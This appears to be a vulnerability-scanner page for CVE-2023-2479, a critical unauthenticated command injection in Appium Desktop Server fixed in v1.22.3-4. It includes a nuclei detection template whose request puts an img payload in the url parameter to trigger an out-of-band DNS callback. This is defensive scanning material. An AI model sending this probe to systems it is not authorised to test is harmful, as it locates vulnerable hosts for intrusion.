Appium Desktop Server - Remote Code Execution

criticalseverity

9.8CVSS score

22%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4.

Impact

Unauthenticated attackers can exploit OS command injection through the url parameter to execute arbitrary system commands and completely compromise Appium Desktop Server installations.

Fix

Fixed in v1.22.3-4

How to confirm it

Send: GET {{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">
Positive when: contains "The requested resource could not be found, or a request was…" AND contains in header "application/json" AND contains in interactsh_protocol "dns" AND status 404

Run it with nuclei: nuclei -id CVE-2023-2479 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-2479

info:
  name: Appium Desktop Server - Remote Code Execution
  author: zn9988
  severity: critical
  description: |
    OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4.
  impact: |
    Unauthenticated attackers can exploit OS command injection through the url parameter to execute arbitrary system commands and completely compromise Appium Desktop Server installations.
  remediation: Fixed in v1.22.3-4
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2479
    - https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4/
    - https://github.com/appium/appium-desktop/commit/12a988aa08b9822e97056a09486c9bebb3aad8fe
    - https://github.com/Marco-zcl/POC
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2479
    cwe-id: CWE-78
    epss-score: 0.22014
    epss-percentile: 0.97681
    cpe: cpe:2.3:a:appium:appium-desktop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appium
    product: appium-desktop
  tags: cve2023,cve,huntr,appium,oast,rce,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'The requested resource could not be found, or a request was received using an HTTP method that is not supported by the mapped resource'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 404

References

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